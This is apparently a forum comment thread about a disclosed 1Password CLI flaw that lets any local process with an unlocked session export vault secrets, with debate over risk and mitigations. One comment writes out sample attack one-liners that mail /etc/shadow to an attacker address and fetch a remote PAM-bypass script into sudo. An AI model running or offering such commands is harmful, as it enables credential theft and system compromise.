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1Password CLI Vulnerability
- deleted 1y ago[deleted]
- lucasqueiroz 1y agoGreat work and thank you for sharing! I will definitely disable the CLI integration. Hoping 1Password fixes the CLI flow soon.
- jen729w 1y ago[flagged]
- deleted 1y ago[deleted]
- hollow-moe 1y agois this just a "vulnerability" in the same way sudo doesn't ask for password for a short time after first use ?
- kachapopopow 1y agoonly applies to the current terminal session, this applied from any session including build sub-sessions. but yah, you're right it's a very low-risk attack.
- damaya1982 1y agoLow-risk in terms of what? They’re superficially similar only in that both cache authentication for convenience. But the consequences are totally different. Sudo caches auth to let you run privileged commands locally; it doesn’t hand secrets to other processes. An unlocked 1Password CLI session can be abused by any code that can call the CLI (or read its session token) to export and ship vault contents, that’s an exfiltration vector, not just local privilege reuse. I’d rate that much higher risk personally.
- lazide 1y agosudo cat /etc/shadow | mail attacker@gmail.com or wget https://attacker.com/install_special_pam_bypass.sh https://attacker.com/install_special_pam_bypass.sh | sudo install_special_pam_bypass.sh
- deleted 1y ago[deleted]
- kachapopopow 1y agothe chance the dependency you've just updated and your vault being unlocked at the same exact time, if someone is attacked by a malicious dependency you have bigger problems to worry about.
- hsbauauvhabzb 1y agoCould a terminal not cross access whatever properties the sudo time-out sets on another terminal session? E.g via /proc?
- kachapopopow 1y agono, because the session you are in does not have access to edit /proc and in some instances even read /proc.
- damaya1982 1y agoTo an extent, in that once you've unlocked your vault you now have access to it without having to type a password every time (convenience). Of course, the implications of this are far worse, in that you've now sent me (the hacker) all credentials in your vault. I'd say this has less to do with a password manager and more to do with using MFA so that the credentials alone are worthless.
- delusional 1y agoYep. This "vulnerability" is actually just a standard warning to not run untrusted software on your machine. In this case the attacker can leverage a commandline program to read your unlocked password vault, but without that he'd still be able to steal any user owned files on your machine and access your bank through your browser to steal your money. "It rather involved being on the other side of this airtight hatchway."
- psanford 1y agoYes. It is a nice report that does not engage with 1password's security model at all. 1password specifically says that they do not think it is feasible to defend against locally executing malware.
- dangus 1y ago“Not feasible” except that the author of the article provided a list of relatively low-effort solutions that 1Password could implement to improve the situation. I’m pretty sure defending against locally executing malware is something that companies like Apple and Microsoft work on daily. The idea that it’s not “feasible” sounds suspiciously lazy.
- krater23 1y agoEspecially Apple works on that on the iPhone by scanning every new app and leave the customer only install that one that are signed by Apple itself. And they still fail with it.
- chatmasta 1y agoFor those not in the know, the hatchway quote is a reference to Raymond Chen’s 2006 blog post: https://devblogs.microsoft.com/oldnewthing/20060508-22/?p=31283 https://devblogs.microsoft.com/oldnewthing/20060508-22/?p=31...
- GauntletWizard 1y ago
- jen729w 1y ago[flagged]
- alwa 1y agoReported to 1Password 2023, disclosure authorized by 1Password 2024, repo published yesterday, no?
- jen729w 1y agoOh wow, my bad. I saw 2024 as the disclosure and thought, well obviously 1Password have fixed that by now. Huh. Unflagged. So, as someone who literally last month moved all of his .env in to 1Password and was feeling pretty, pretty smart about it: what now? (Did that, by the way, on the advice of a comment here in response to the previous npm hack, whatever that was, where that commenter said 'you're a fool if you don't have your keys in a password manager' and so on and so forth. Security is hard?)
- lexicality 1y ago> what now? Put the secrets in their own vault, use a service account to access them and then follow the same rules as sudo's grace period - dedicated terminal session, run only the commands that need to be privileged and exit the session as soon as you don't need it any more
- e40 1y ago> Responsible disclosure was made via BugCrowd on 2nd October, 2023, and disclosure was authorized in January of 2024 I’m confused why this is just be publicly disclosed. It’s been known for 2 years!
- alwa 1y ago> This investigation took a while, and I waited a while before publishing this disclosure (life circumstances and giving 1Password time to fix the issue). Sounds like the person really came from a supportive place and hoped things would get sorted out. And had life intervene along the way maybe.
- oulipo2 1y agoIs the described behavior still the default with `op` cli?
- manchicken 1y agoYes. At least on macOS.
- robin_reala 1y agoSidenote, but nice to see a few more Codeberg links popping up instead of the ubiquitous GitHub. Maybe we’re decentralising a little more in this area.
- woadwarrior01 1y ago1Password used to be good 10 years ago, but not anymore. A couple of days ago, there was a post about Electron based apps that slow down macOS Tahoe (due to older versions of Electron using an undocumented API). When I ran the script on my laptop, 1Password was on the top of the list. > 1Password.app: Electron 37.3.1 (Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework) [1]: https://news.ycombinator.com/item?id=45437112 https://news.ycombinator.com/item?id=45437112 Edit: Judging by the downvotes, it looks like there are a lot of electron lovers here. Why the hate for more efficient native apps? Are bloated binaries, janky UI and lower battery life, features? :)
- daveoc64 1y agoIt's only on top of the list because it's likely to be first when you sort by app name.
- zatertip 1y agoThe nightly version(on Linux) is on 38.2.0
- Hawxy 1y agoThat's a 47 day old release and the fix for the macOS issue only came out 7 days ago. Not critically out of date by any means.
- cedws 1y agoHow did you come to the conclusion that this very recent issue is 1Password’s fault and not Electron’s?
- oarsinsync 1y ago1Password used to ship native (aka "Mac-assed") apps. They (relatively, in the software's history) recently switched to Electron instead of continuing native app development.
- crazygringo 1y ago
- TheDong 1y agoThis is another case of being on the other side of an airtight hatchway: https://devblogs.microsoft.com/oldnewthing/20060508-22/?p=31283 https://devblogs.microsoft.com/oldnewthing/20060508-22/?p=31... If someone has arbitrary code execution on your machine as your user, then of course they can access things your user can access. They could just as easily keylog your password, or replace the onepassword-cli binary with one that exfiltrates data, or steal your browser cookie to get into your email account and use that to hijack recovery flows...
- RainyDayTmrw 1y agoI thought the same. Although, perhaps we have too few hatchways, and too much surface area inside each.
- starburst 1y agoI’m surprised the CLI doesn’t asked permission for each program trying to access it, when using their SSH agent I get a popup for any program (then it unlock that key for that program until session ends). People dismissing this vulnerability miss the point of a password manager which is to protect in such scenario where code gets executed on a machine but at least the data is encrypted, of course in that scenario the attacker can get access to the plain text env variables anyway that the developers has on their machine but at least it is not ALL of your credentials like in this case. Service Account can limit the blast radius BUT you’ll end up saving that API token in your env anyway giving access to anyone executing malicious code… Using their CLI is dangerous if they haven’t done anything to protect in this scenario. Did they have any comments in that vulnerability and how they want to mitigate it? Why not simply return the value of the requested items and that’s it? Why unlock everything in a CLI scenario, surely the most common case is simply grabbing a single item like a .env for a project and that’s it.
- InitialBP 1y agoI believe the CLI _does_ ask permission for each program trying to access it. The author's example includes a malicious vscode extension abusing the fact that he intentionally granted vscode permission to access the vault for one purpose and then a malicious extension leveraged that access to retrieve information through the op cli.
- deleted 1y ago[deleted]
- troad 1y agoI really wish I could restrict CLI access to 1Password per vault (or even per item). When I briefly tried Kamal, it made me very uncomfortable for a script to ask for access to my entire 1Password - every login, credit card, etc. While I do not think Kamal is malicious, in the context of all the constant supply chain attacks, saying yes to anything like that seems extremely irresponsible. This seems like an area where there'd be obvious value in applying the principle of least privilege, so I was surprised when I couldn't find any granularity to the CLI permissions in 1Password.
- conception 1y agoUse a service account via cli?
- troad 1y agoOh neat, I didn't realise that was an option for personal accounts, I had incorrectly assumed they required a business sub. Thank you for the tip!
- jdpage 1y agoOne thing that's very cool about 1Password is that they expose a lot of their more enterprisey features even on regular subs. I'm able to use 1Password for secret storage on my at-home k8s cluster without any kind of special business account.
- halfcat 1y agoA service account sounds like one step forward, two steps back. It can limit the scope of accessible vaults, which can help but only if you do the legwork of keeping multiple copies of secrets in separate vaults and managing service account tokens. But the token is just in an environment variable, which if we’re worried about this supply chain malicious library scenario, is no different than keeping your secrets in a plain text .env file. And worse, a service account doesn’t prompt the user. The functionality of `op run —env-file .env — some_app` which then prompts the developer is what we’d want in a dev environment, just with finer grained permissions and options to prompt every time. But realistically, if someone can execute code on your computer, they can get to your entire 1Password account through scraping the app, key logging, sending keystrokes and screenshotting, etc.
- krater23 1y agoWhen I execute code on your machine, you are lost. Simply like that. Don't store important passwords on your machine in a single point of failure. It's safer to store them unencrypted in a wrong named textfile than on the place where everyone will look automacially at first. But more secury is it to NOT store them at all on your machine.
- zghst 1y agoTo limit the attack surface here, maybe follow the permissions model on macOS, access a credential = TouchID/Password each time, just limiting dependencies, still leaves a large attack surface of accessing everything if an attacker is able to find a route through, that’s what they’re looking for is everything right there, somehow some way.
- e40 1y ago@dang: I don't believe the (2023) is warranted here. It's true, the disclosure was made to 1Password in 2023, but it was made public 3 days ago.